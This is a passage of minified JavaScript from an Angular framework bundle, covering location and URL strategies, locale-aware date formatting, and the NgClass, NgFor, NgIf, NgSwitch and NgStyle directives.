t&&"?"!==t[0]?"?"+t:t}var E=function(){var t=function(){function t(){_(this,t)}return y(t,[{key:"historyGo",value:function(t){throw new Error("Not implemented")}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,i.Yz7)({factory:A,token:t,providedIn:"root"}),t}();function A(t){var e=(0,i.LFG)(p).location;return new I((0,i.LFG)(v),e&&e.origin||"")}var T=new i.OlP("appBaseHref"),I=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i){var r;if(_(this,n),(r=e.call(this))._platformLocation=t,r._removeListenerFns=[],null==i&&(i=r._platformLocation.getBaseHrefFromDOM()),null==i)throw new Error("No base href set. Please provide a value for the APP_BASE_HREF token or add a base element to the document.");return r._baseHref=i,d(r)}return y(n,[{key:"ngOnDestroy",value:function(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}},{key:"onPopState",value:function(t){this._removeListenerFns.push(this._platformLocation.onPopState(t),this._platformLocation.onHashChange(t))}},{key:"getBaseHref",value:function(){return this._baseHref}},{key:"prepareExternalUrl",value:function(t){return C(this._baseHref,t)}},{key:"path",value:function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0],e=this._platformLocation.pathname+S(this._platformLocation.search),n=this._platformLocation.hash;return n&&t?"".concat(e).concat(n):e}},{key:"pushState",value:function(t,e,n,i){var r=this.prepareExternalUrl(n+S(i));this._platformLocation.pushState(t,e,r)}},{key:"replaceState",value:function(t,e,n,i){var r=this.prepareExternalUrl(n+S(i));this._platformLocation.replaceState(t,e,r)}},{key:"forward",value:function(){this._platformLocation.forward()}},{key:"back",value:function(){this._platformLocation.back()}},{key:"historyGo",value:function(){var t,e,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;null===(e=(t=this._platformLocation).historyGo)||void 0===e||e.call(t,n)}}]),n}(E);return t.\u0275fac=function(e){return new(e||t)(i.LFG(v),i.LFG(T,8))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t}(),O=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this))._platformLocation=t,r._baseHref="",r._removeListenerFns=[],null!=i&&(r._baseHref=i),r}return y(n,[{key:"ngOnDestroy",value:function(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}},{key:"onPopState",value:function(t){this._removeListenerFns.push(this._platformLocation.onPopState(t),this._platformLocation.onHashChange(t))}},{key:"getBaseHref",value:function(){return this._baseHref}},{key:"path",value:function(){var t=this._platformLocation.hash;return null==t&&(t="#"),t.length>0?t.substring(1):t}},{key:"prepareExternalUrl",value:function(t){var e=C(this._baseHref,t);return e.length>0?"#"+e:e}},{key:"pushState",value:function(t,e,n,i){var r=this.prepareExternalUrl(n+S(i));0==r.length&&(r=this._platformLocation.pathname),this._platformLocation.pushState(t,e,r)}},{key:"replaceState",value:function(t,e,n,i){var r=this.prepareExternalUrl(n+S(i));0==r.length&&(r=this._platformLocation.pathname),this._platformLocation.replaceState(t,e,r)}},{key:"forward",value:function(){this._platformLocation.forward()}},{key:"back",value:function(){this._platformLocation.back()}},{key:"historyGo",value:function(){var t,e,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;null===(e=(t=this._platformLocation).historyGo)||void 0===e||e.call(t,n)}}]),n}(E);return t.\u0275fac=function(e){return new(e||t)(i.LFG(v),i.LFG(T,8))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t}(),R=function(){var t=function(){function t(e,n){var r=this;_(this,t),this._subject=new i.vpe,this._urlChangeListeners=[],this._platformStrategy=e;var o=this._platformStrategy.getBaseHref();this._platformLocation=n,this._baseHref=x(N(o)),this._platformStrategy.onPopState(function(t){r._subject.emit({url:r.path(!0),pop:!0,state:t.state,type:t.type})})}return y(t,[{key:"path",value:function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return this.normalize(this._platformStrategy.path(t))}},{key:"getState",value:function(){return this._platformLocation.getState()}},{key:"isCurrentPathEqualTo",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return this.path()==this.normalize(t+S(e))}},{key:"normalize",value:function(e){return t.stripTrailingSlash(function(t,e){return t&&e.startsWith(t)?e.substring(t.length):e}(this._baseHref,N(e)))}},{key:"prepareExternalUrl",value:function(t){return t&&"/"!==t[0]&&(t="/"+t),this._platformStrategy.prepareExternalUrl(t)}},{key:"go",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;this._platformStrategy.pushState(n,"",t,e),this._notifyUrlChangeListeners(this.prepareExternalUrl(t+S(e)),n)}},{key:"replaceState",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;this._platformStrategy.replaceState(n,"",t,e),this._notifyUrlChangeListeners(this.prepareExternalUrl(t+S(e)),n)}},{key:"forward",value:function(){this._platformStrategy.forward()}},{key:"back",value:function(){this._platformStrategy.back()}},{key:"historyGo",value:function(){var t,e,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;null===(e=(t=this._platformStrategy).historyGo)||void 0===e||e.call(t,n)}},{key:"onUrlChange",value:function(t){var e=this;this._urlChangeListeners.push(t),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(function(t){e._notifyUrlChangeListeners(t.url,t.state)}))}},{key:"_notifyUrlChangeListeners",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",e=arguments.length>1?arguments[1]:void 0;this._urlChangeListeners.forEach(function(n){return n(t,e)})}},{key:"subscribe",value:function(t,e,n){return this._subject.subscribe({next:t,error:e,complete:n})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.LFG(E),i.LFG(v))},t.normalizeQueryParams=S,t.joinWithSlash=C,t.stripTrailingSlash=x,t.\u0275prov=(0,i.Yz7)({factory:P,token:t,providedIn:"root"}),t}();function P(){return new R((0,i.LFG)(E),(0,i.LFG)(v))}function N(t){return t.replace(/\/index.html$/,"")}var D=((D=D||{})[D.Zero=0]="Zero",D[D.One=1]="One",D[D.Two=2]="Two",D[D.Few=3]="Few",D[D.Many=4]="Many",D[D.Other=5]="Other",D),L=((L=L||{})[L.Format=0]="Format",L[L.Standalone=1]="Standalone",L),M=((M=M||{})[M.Narrow=0]="Narrow",M[M.Abbreviated=1]="Abbreviated",M[M.Wide=2]="Wide",M[M.Short=3]="Short",M),F=((F=F||{})[F.Short=0]="Short",F[F.Medium=1]="Medium",F[F.Long=2]="Long",F[F.Full=3]="Full",F),U=((U=U||{})[U.Decimal=0]="Decimal",U[U.Group=1]="Group",U[U.List=2]="List",U[U.PercentSign=3]="PercentSign",U[U.PlusSign=4]="PlusSign",U[U.MinusSign=5]="MinusSign",U[U.Exponential=6]="Exponential",U[U.SuperscriptingExponent=7]="SuperscriptingExponent",U[U.PerMille=8]="PerMille",U[U.Infinity=9]="Infinity",U[U.NaN=10]="NaN",U[U.TimeSeparator=11]="TimeSeparator",U[U.CurrencyDecimal=12]="CurrencyDecimal",U[U.CurrencyGroup=13]="CurrencyGroup",U);function B(t,e){return q((0,i.cg1)(t)[i.wAp.DateFormat],e)}function j(t,e){return q((0,i.cg1)(t)[i.wAp.TimeFormat],e)}function H(t,e){return q((0,i.cg1)(t)[i.wAp.DateTimeFormat],e)}function V(t,e){var n=(0,i.cg1)(t),r=n[i.wAp.NumberSymbols][e];if(void 0===r){if(e===U.CurrencyDecimal)return n[i.wAp.NumberSymbols][U.Decimal];if(e===U.CurrencyGroup)return n[i.wAp.NumberSymbols][U.Group]}return r}var G=i.kL8;function Y(t){if(!t[i.wAp.ExtraData])throw new Error('Missing extra locale data for the locale "'.concat(t[i.wAp.LocaleId],'". Use "registerLocaleData" to load new data. See the "I18n guide" on angular.io to know more.'))}function q(t,e){for(var n=e;n>-1;n--)if(void 0!==t[n])return t[n];throw new Error("Locale data API: locale data undefined")}function z(t){var e=o(t.split(":"),2);return{hours:+e[0],minutes:+e[1]}}var Z=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/,W={},J=/((?:[^BEGHLMOSWYZabcdhmswyz']+)|(?:'(?:[^']|'')*')|(?:G{1,5}|y{1,4}|Y{1,4}|M{1,5}|L{1,5}|w{1,2}|W{1}|d{1,2}|E{1,6}|c{1,6}|a{1,5}|b{1,5}|B{1,5}|h{1,2}|H{1,2}|m{1,2}|s{1,2}|S{1,3}|z{1,4}|Z{1,5}|O{1,4}))([\s\S]*)/,Q=((Q=Q||{})[Q.Short=0]="Short",Q[Q.ShortGMT=1]="ShortGMT",Q[Q.Long=2]="Long",Q[Q.Extended=3]="Extended",Q),K=((K=K||{})[K.FullYear=0]="FullYear",K[K.Month=1]="Month",K[K.Date=2]="Date",K[K.Hours=3]="Hours",K[K.Minutes=4]="Minutes",K[K.Seconds=5]="Seconds",K[K.FractionalSeconds=6]="FractionalSeconds",K[K.Day=7]="Day",K),X=((X=X||{})[X.DayPeriods=0]="DayPeriods",X[X.Days=1]="Days",X[X.Months=2]="Months",X[X.Eras=3]="Eras",X);function $(t,e,n,i){var r=function(t){if(ft(t))return t;if("number"==typeof t&&!isNaN(t))return new Date(t);if("string"==typeof t){if(t=t.trim(),/^(\d{4}(-\d{1,2}(-\d{1,2})?)?)$/.test(t)){var e=o(t.split("-").map(function(t){return+t}),3),n=e[0],i=e[1],r=void 0===i?1:i,a=e[2];return tt(n,r-1,void 0===a?1:a)}var s,u=parseFloat(t);if(!isNaN(t-u))return new Date(u);if(s=t.match(Z))return function(t){var e=new Date(0),n=0,i=0,r=t[8]?e.setUTCFullYear:e.setFullYear,o=t[8]?e.setUTCHours:e.setHours;t[9]&&(n=Number(t[9]+t[10]),i=Number(t[9]+t[11])),r.call(e,Number(t[1]),Number(t[2])-1,Number(t[3]));var a=Number(t[4]||0)-n,s=Number(t[5]||0)-i,u=Number(t[6]||0),c=Math.floor(1e3*parseFloat("0."+(t[7]||0)));return o.call(e,a,s,u,c),e}(s)}var c=new Date(t);if(!ft(c))throw new Error('Unable to convert "'.concat(t,'" into a date'));return c}(t);e=et(n,e)||e;for(var a,s=[];e;){if(!(a=J.exec(e))){s.push(e);break}var u=(s=s.concat(a.slice(1))).pop();if(!u)break;e=u}var c=r.getTimezoneOffset();i&&(c=ht(i,c),r=function(t,e,n){var i=t.getTimezoneOffset();return function(t,e){return(t=new Date(t.getTime())).setMinutes(t.getMinutes()+e),t}(t,-1*(ht(e,i)-i))}(r,i));var l="";return s.forEach(function(t){var e=function(t){if(lt[t])return lt[t];var e;switch(t){case"G":case"GG":case"GGG":e=ot(X.Eras,M.Abbreviated);break;case"GGGG":e=ot(X.Eras,M.Wide);break;case"GGGGG":e=ot(X.Eras,M.Narrow);break;case"y":e=rt(K.FullYear,1,0,!1,!0);break;case"yy":e=rt(K.FullYear,2,0,!0,!0);break;case"yyy":e=rt(K.FullYear,3,0,!1,!0);break;case"yyyy":e=rt(K.FullYear,4,0,!1,!0);break;case"Y":e=ct(1);break;case"YY":e=ct(2,!0);break;case"YYY":e=ct(3);break;case"YYYY":e=ct(4);break;case"M":case"L":e=rt(K.Month,1,1);break;case"MM":case"LL":e=rt(K.Month,2,1);break;case"MMM":e=ot(X.Months,M.Abbreviated);break;case"MMMM":e=ot(X.Months,M.Wide);break;case"MMMMM":e=ot(X.Months,M.Narrow);break;case"LLL":e=ot(X.Months,M.Abbreviated,L.Standalone);break;case"LLLL":e=ot(X.Months,M.Wide,L.Standalone);break;case"LLLLL":e=ot(X.Months,M.Narrow,L.Standalone);break;case"w":e=ut(1);break;case"ww":e=ut(2);break;case"W":e=ut(1,!0);break;case"d":e=rt(K.Date,1);break;case"dd":e=rt(K.Date,2);break;case"c":case"cc":e=rt(K.Day,1);break;case"ccc":e=ot(X.Days,M.Abbreviated,L.Standalone);break;case"cccc":e=ot(X.Days,M.Wide,L.Standalone);break;case"ccccc":e=ot(X.Days,M.Narrow,L.Standalone);break;case"cccccc":e=ot(X.Days,M.Short,L.Standalone);break;case"E":case"EE":case"EEE":e=ot(X.Days,M.Abbreviated);break;case"EEEE":e=ot(X.Days,M.Wide);break;case"EEEEE":e=ot(X.Days,M.Narrow);break;case"EEEEEE":e=ot(X.Days,M.Short);break;case"a":case"aa":case"aaa":e=ot(X.DayPeriods,M.Abbreviated);break;case"aaaa":e=ot(X.DayPeriods,M.Wide);break;case"aaaaa":e=ot(X.DayPeriods,M.Narrow);break;case"b":case"bb":case"bbb":e=ot(X.DayPeriods,M.Abbreviated,L.Standalone,!0);break;case"bbbb":e=ot(X.DayPeriods,M.Wide,L.Standalone,!0);break;case"bbbbb":e=ot(X.DayPeriods,M.Narrow,L.Standalone,!0);break;case"B":case"BB":case"BBB":e=ot(X.DayPeriods,M.Abbreviated,L.Format,!0);break;case"BBBB":e=ot(X.DayPeriods,M.Wide,L.Format,!0);break;case"BBBBB":e=ot(X.DayPeriods,M.Narrow,L.Format,!0);break;case"h":e=rt(K.Hours,1,-12);break;case"hh":e=rt(K.Hours,2,-12);break;case"H":e=rt(K.Hours,1);break;case"HH":e=rt(K.Hours,2);break;case"m":e=rt(K.Minutes,1);break;case"mm":e=rt(K.Minutes,2);break;case"s":e=rt(K.Seconds,1);break;case"ss":e=rt(K.Seconds,2);break;case"S":e=rt(K.FractionalSeconds,1);break;case"SS":e=rt(K.FractionalSeconds,2);break;case"SSS":e=rt(K.FractionalSeconds,3);break;case"Z":case"ZZ":case"ZZZ":e=at(Q.Short);break;case"ZZZZZ":e=at(Q.Extended);break;case"O":case"OO":case"OOO":case"z":case"zz":case"zzz":e=at(Q.ShortGMT);break;case"OOOO":case"ZZZZ":case"zzzz":e=at(Q.Long);break;default:return null}return lt[t]=e,e}(t);l+=e?e(r,n,c):"''"===t?"'":t.replace(/(^'|'$)/g,"").replace(/''/g,"'")}),l}function tt(t,e,n){var i=new Date(0);return i.setFullYear(t,e,n),i.setHours(0,0,0),i}function et(t,e){var n=function(t){return(0,i.cg1)(t)[i.wAp.LocaleId]}(t);if(W[n]=W[n]||{},W[n][e])return W[n][e];var r="";switch(e){case"shortDate":r=B(t,F.Short);break;case"mediumDate":r=B(t,F.Medium);break;case"longDate":r=B(t,F.Long);break;case"fullDate":r=B(t,F.Full);break;case"shortTime":r=j(t,F.Short);break;case"mediumTime":r=j(t,F.Medium);break;case"longTime":r=j(t,F.Long);break;case"fullTime":r=j(t,F.Full);break;case"short":var o=et(t,"shortTime"),a=et(t,"shortDate");r=nt(H(t,F.Short),[o,a]);break;case"medium":var s=et(t,"mediumTime"),u=et(t,"mediumDate");r=nt(H(t,F.Medium),[s,u]);break;case"long":var c=et(t,"longTime"),l=et(t,"longDate");r=nt(H(t,F.Long),[c,l]);break;case"full":var h=et(t,"fullTime"),f=et(t,"fullDate");r=nt(H(t,F.Full),[h,f])}return r&&(W[n][e]=r),r}function nt(t,e){return e&&(t=t.replace(/\{([^}]+)}/g,function(t,n){return null!=e&&n in e?e[n]:t})),t}function it(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"-",i=arguments.length>3?arguments[3]:void 0,r=arguments.length>4?arguments[4]:void 0,o="";(t<0||r&&t<=0)&&(r?t=1-t:(t=-t,o=n));for(var a=String(t);a.length<e;)a="0"+a;return i&&(a=a.substr(a.length-e)),o+a}function rt(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,i=arguments.length>3&&void 0!==arguments[3]&&arguments[3],r=arguments.length>4&&void 0!==arguments[4]&&arguments[4];return function(o,a){var s=function(t,e){switch(t){case K.FullYear:return e.getFullYear();case K.Month:return e.getMonth();case K.Date:return e.getDate();case K.Hours:return e.getHours();case K.Minutes:return e.getMinutes();case K.Seconds:return e.getSeconds();case K.FractionalSeconds:return e.getMilliseconds();case K.Day:return e.getDay();default:throw new Error('Unknown DateType value "'.concat(t,'".'))}}(t,o);if((n>0||s>-n)&&(s+=n),t===K.Hours)0===s&&-12===n&&(s=12);else if(t===K.FractionalSeconds)return function(t,e){return it(t,3).substr(0,e)}(s,e);var u=V(a,U.MinusSign);return it(s,e,u,i,r)}}function ot(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:L.Format,r=arguments.length>3&&void 0!==arguments[3]&&arguments[3];return function(a,s){return function(t,e,n,r,a,s){switch(n){case X.Months:return function(t,e,n){var r=(0,i.cg1)(t),o=q([r[i.wAp.MonthsFormat],r[i.wAp.MonthsStandalone]],e);return q(o,n)}(e,a,r)[t.getMonth()];case X.Days:return function(t,e,n){var r=(0,i.cg1)(t),o=q([r[i.wAp.DaysFormat],r[i.wAp.DaysStandalone]],e);return q(o,n)}(e,a,r)[t.getDay()];case X.DayPeriods:var u=t.getHours(),c=t.getMinutes();if(s){var l=function(t){var e=(0,i.cg1)(t);return Y(e),(e[i.wAp.ExtraData][2]||[]).map(function(t){return"string"==typeof t?z(t):[z(t[0]),z(t[1])]})}(e),h=function(t,e,n){var r=(0,i.cg1)(t);Y(r);var o=q([r[i.wAp.ExtraData][0],r[i.wAp.ExtraData][1]],e)||[];return q(o,n)||[]}(e,a,r),f=l.findIndex(function(t){if(Array.isArray(t)){var e=o(t,2),n=e[0],i=e[1],r=u>=n.hours&&c>=n.minutes,a=u<i.hours||u===i.hours&&c<i.minutes;if(n.hours<i.hours){if(r&&a)return!0}else if(r||a)return!0}else if(t.hours===u&&t.minutes===c)return!0;return!1});if(-1!==f)return h[f]}return function(t,e,n){var r=(0,i.cg1)(t),o=q([r[i.wAp.DayPeriodsFormat],r[i.wAp.DayPeriodsStandalone]],e);return q(o,n)}(e,a,r)[u<12?0:1];case X.Eras:return function(t,e){return q((0,i.cg1)(t)[i.wAp.Eras],e)}(e,r)[t.getFullYear()<=0?0:1];default:throw new Error("unexpected translation type ".concat(n))}}(a,s,t,e,n,r)}}function at(t){return function(e,n,i){var r=-1*i,o=V(n,U.MinusSign),a=r>0?Math.floor(r/60):Math.ceil(r/60);switch(t){case Q.Short:return(r>=0?"+":"")+it(a,2,o)+it(Math.abs(r%60),2,o);case Q.ShortGMT:return"GMT"+(r>=0?"+":"")+it(a,1,o);case Q.Long:return"GMT"+(r>=0?"+":"")+it(a,2,o)+":"+it(Math.abs(r%60),2,o);case Q.Extended:return 0===i?"Z":(r>=0?"+":"")+it(a,2,o)+":"+it(Math.abs(r%60),2,o);default:throw new Error('Unknown zone width "'.concat(t,'"'))}}}function st(t){return tt(t.getFullYear(),t.getMonth(),t.getDate()+(4-t.getDay()))}function ut(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return function(n,i){var r;if(e){var o=new Date(n.getFullYear(),n.getMonth(),1).getDay()-1,a=n.getDate();r=1+Math.floor((a+o)/7)}else{var s=st(n),u=function(t){var e=tt(t,0,1).getDay();return tt(t,0,1+(e<=4?4:11)-e)}(s.getFullYear()),c=s.getTime()-u.getTime();r=1+Math.round(c/6048e5)}return it(r,t,V(i,U.MinusSign))}}function ct(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return function(n,i){return it(st(n).getFullYear(),t,V(i,U.MinusSign),e)}}var lt={};function ht(t,e){t=t.replace(/:/g,"");var n=Date.parse("Jan 01, 1970 00:00:00 "+t)/6e4;return isNaN(n)?e:n}function ft(t){return t instanceof Date&&!isNaN(t.valueOf())}var dt=function t(){_(this,t)},pt=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this)).locale=t,i}return y(n,[{key:"getPluralCategory",value:function(t,e){switch(G(e||this.locale)(t)){case D.Zero:return"zero";case D.One:return"one";case D.Two:return"two";case D.Few:return"few";case D.Many:return"many";default:return"other"}}}]),n}(dt);return t.\u0275fac=function(e){return new(e||t)(i.LFG(i.soG))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t}();function vt(t,e,n){return(0,i.dwT)(t,e,n)}function mt(t,e){e=encodeURIComponent(e);var n,i=r(t.split(";"));try{for(i.s();!(n=i.n()).done;){var a=n.value,s=a.indexOf("="),u=o(-1==s?[a,""]:[a.slice(0,s),a.slice(s+1)],2),c=u[0],l=u[1];if(c.trim()===e)return decodeURIComponent(l)}}catch(h){i.e(h)}finally{i.f()}return null}var gt=function(){var t=function(){function t(e,n,i,r){_(this,t),this._iterableDiffers=e,this._keyValueDiffers=n,this._ngEl=i,this._renderer=r,this._iterableDiffer=null,this._keyValueDiffer=null,this._initialClasses=[],this._rawClass=null}return y(t,[{key:"klass",set:function(t){this._removeClasses(this._initialClasses),this._initialClasses="string"==typeof t?t.split(/\s+/):[],this._applyClasses(this._initialClasses),this._applyClasses(this._rawClass)}},{key:"ngClass",set:function(t){this._removeClasses(this._rawClass),this._applyClasses(this._initialClasses),this._iterableDiffer=null,this._keyValueDiffer=null,this._rawClass="string"==typeof t?t.split(/\s+/):t,this._rawClass&&((0,i.sIi)(this._rawClass)?this._iterableDiffer=this._iterableDiffers.find(this._rawClass).create():this._keyValueDiffer=this._keyValueDiffers.find(this._rawClass).create())}},{key:"ngDoCheck",value:function(){if(this._iterableDiffer){var t=this._iterableDiffer.diff(this._rawClass);t&&this._applyIterableChanges(t)}else if(this._keyValueDiffer){var e=this._keyValueDiffer.diff(this._rawClass);e&&this._applyKeyValueChanges(e)}}},{key:"_applyKeyValueChanges",value:function(t){var e=this;t.forEachAddedItem(function(t){return e._toggleClass(t.key,t.currentValue)}),t.forEachChangedItem(function(t){return e._toggleClass(t.key,t.currentValue)}),t.forEachRemovedItem(function(t){t.previousValue&&e._toggleClass(t.key,!1)})}},{key:"_applyIterableChanges",value:function(t){var e=this;t.forEachAddedItem(function(t){if("string"!=typeof t.item)throw new Error("NgClass can only toggle CSS classes expressed as strings, got ".concat((0,i.AaK)(t.item)));e._toggleClass(t.item,!0)}),t.forEachRemovedItem(function(t){return e._toggleClass(t.item,!1)})}},{key:"_applyClasses",value:function(t){var e=this;t&&(Array.isArray(t)||t instanceof Set?t.forEach(function(t){return e._toggleClass(t,!0)}):Object.keys(t).forEach(function(n){return e._toggleClass(n,!!t[n])}))}},{key:"_removeClasses",value:function(t){var e=this;t&&(Array.isArray(t)||t instanceof Set?t.forEach(function(t){return e._toggleClass(t,!1)}):Object.keys(t).forEach(function(t){return e._toggleClass(t,!1)}))}},{key:"_toggleClass",value:function(t,e){var n=this;(t=t.trim())&&t.split(/\s+/g).forEach(function(t){e?n._renderer.addClass(n._ngEl.nativeElement,t):n._renderer.removeClass(n._ngEl.nativeElement,t)})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.ZZ4),i.Y36(i.aQg),i.Y36(i.SBq),i.Y36(i.Qsj))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngClass",""]],inputs:{klass:["class","klass"],ngClass:"ngClass"}}),t}(),yt=function(){function t(e,n,i,r){_(this,t),this.$implicit=e,this.ngForOf=n,this.index=i,this.count=r}return y(t,[{key:"first",get:function(){return 0===this.index}},{key:"last",get:function(){return this.index===this.count-1}},{key:"even",get:function(){return this.index%2==0}},{key:"odd",get:function(){return!this.even}}]),t}(),_t=function(){var t=function(){function t(e,n,i){_(this,t),this._viewContainer=e,this._template=n,this._differs=i,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}return y(t,[{key:"ngForOf",set:function(t){this._ngForOf=t,this._ngForOfDirty=!0}},{key:"ngForTrackBy",get:function(){return this._trackByFn},set:function(t){this._trackByFn=t}},{key:"ngForTemplate",set:function(t){t&&(this._template=t)}},{key:"ngDoCheck",value:function(){if(this._ngForOfDirty){this._ngForOfDirty=!1;var t=this._ngForOf;if(!this._differ&&t)try{this._differ=this._differs.find(t).create(this.ngForTrackBy)}catch(n){throw new Error("Cannot find a differ supporting object '".concat(t,"' of type '").concat(function(t){return t.name||typeof t}(t),"'. NgFor only supports binding to Iterables such as Arrays."))}}if(this._differ){var e=this._differ.diff(this._ngForOf);e&&this._applyChanges(e)}}},{key:"_applyChanges",value:function(t){var e=this,n=[];t.forEachOperation(function(t,i,r){if(null==t.previousIndex){var o=e._viewContainer.createEmbeddedView(e._template,new yt(null,e._ngForOf,-1,-1),null===r?void 0:r),a=new bt(t,o);n.push(a)}else if(null==r)e._viewContainer.remove(null===i?void 0:i);else if(null!==i){var s=e._viewContainer.get(i);e._viewContainer.move(s,r);var u=new bt(t,s);n.push(u)}});for(var i=0;i<n.length;i++)this._perViewChange(n[i].view,n[i].record);for(var r=0,o=this._viewContainer.length;r<o;r++){var a=this._viewContainer.get(r);a.context.index=r,a.context.count=o,a.context.ngForOf=this._ngForOf}t.forEachIdentityChange(function(t){e._viewContainer.get(t.currentIndex).context.$implicit=t.item})}},{key:"_perViewChange",value:function(t,e){t.context.$implicit=e.item}}],[{key:"ngTemplateContextGuard",value:function(t,e){return!0}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc),i.Y36(i.ZZ4))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"}}),t}(),bt=function t(e,n){_(this,t),this.record=e,this.view=n},kt=function(){var t=function(){function t(e,n){_(this,t),this._viewContainer=e,this._context=new wt,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=n}return y(t,[{key:"ngIf",set:function(t){this._context.$implicit=this._context.ngIf=t,this._updateView()}},{key:"ngIfThen",set:function(t){Ct("ngIfThen",t),this._thenTemplateRef=t,this._thenViewRef=null,this._updateView()}},{key:"ngIfElse",set:function(t){Ct("ngIfElse",t),this._elseTemplateRef=t,this._elseViewRef=null,this._updateView()}},{key:"_updateView",value:function(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}}],[{key:"ngTemplateContextGuard",value:function(t,e){return!0}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"}}),t}(),wt=function t(){_(this,t),this.$implicit=null,this.ngIf=null};function Ct(t,e){if(e&&!e.createEmbeddedView)throw new Error("".concat(t," must be a TemplateRef, but received '").concat((0,i.AaK)(e),"'."))}var xt=function(){function t(e,n){_(this,t),this._viewContainerRef=e,this._templateRef=n,this._created=!1}return y(t,[{key:"create",value:function(){this._created=!0,this._viewContainerRef.createEmbeddedView(this._templateRef)}},{key:"destroy",value:function(){this._created=!1,this._viewContainerRef.clear()}},{key:"enforceState",value:function(t){t&&!this._created?this.create():!t&&this._created&&this.destroy()}}]),t}(),St=function(){var t=function(){function t(){_(this,t),this._defaultUsed=!1,this._caseCount=0,this._lastCaseCheckIndex=0,this._lastCasesMatched=!1}return y(t,[{key:"ngSwitch",set:function(t){this._ngSwitch=t,0===this._caseCount&&this._updateDefaultCases(!0)}},{key:"_addCase",value:function(){return this._caseCount++}},{key:"_addDefault",value:function(t){this._defaultViews||(this._defaultViews=[]),this._defaultViews.push(t)}},{key:"_matchCase",value:function(t){var e=t==this._ngSwitch;return this._lastCasesMatched=this._lastCasesMatched||e,this._lastCaseCheckIndex++,this._lastCaseCheckIndex===this._caseCount&&(this._updateDefaultCases(!this._lastCasesMatched),this._lastCaseCheckIndex=0,this._lastCasesMatched=!1),e}},{key:"_updateDefaultCases",value:function(t){if(this._defaultViews&&t!==this._defaultUsed){this._defaultUsed=t;for(var e=0;e<this._defaultViews.length;e++)this._defaultViews[e].enforceState(t)}}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["","ngSwitch",""]],inputs:{ngSwitch:"ngSwitch"}}),t}(),Et=function(){var t=function(){function t(e,n,i){_(this,t),this.ngSwitch=i,i._addCase(),this._view=new xt(e,n)}return y(t,[{key:"ngDoCheck",value:function(){this._view.enforceState(this.ngSwitch._matchCase(this.ngSwitchCase))}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc),i.Y36(St,9))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngSwitchCase",""]],inputs:{ngSwitchCase:"ngSwitchCase"}}),t}(),At=function(){var t=function t(e,n,i){_(this,t),i._addDefault(new xt(e,n))};return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.s_b),i.Y36(i.Rgc),i.Y36(St,9))},t.\u0275dir=i.lG2({type:t,selectors:[["","ngSwitchDefault",""]]}),t}(),Tt=function(){var t=function(){function t(e,n,i){_(this,t),this._ngEl=e,this._differs=n,this._renderer=i,this._ngStyle=null,this._differ=null}return y(t,[{key:"ngStyle",set:function(t){this._ngStyle=t,!this._differ&&t&&(this._differ=this._differs.find(t).create())}},{key:"ngDoCheck",value:function(){if(this._differ){var t=this._differ.diff(this._ngStyle);t&&this._applyChanges(t)}}},{key:"_setStyle",value:function(t,e){var n=o(t.split("."),2),i=n[0],r=n[1];null!=(e=null!=e&&r?"".concat(e).concat(r):e)?this._renderer.setStyle(this._ngEl.nativeElement,i,e):this._renderer.removeStyle(this._ngEl.nativeElement,i)}},{key:"_applyChanges",value:function(t){var e=this;t.forEachRemovedItem(function(t){return 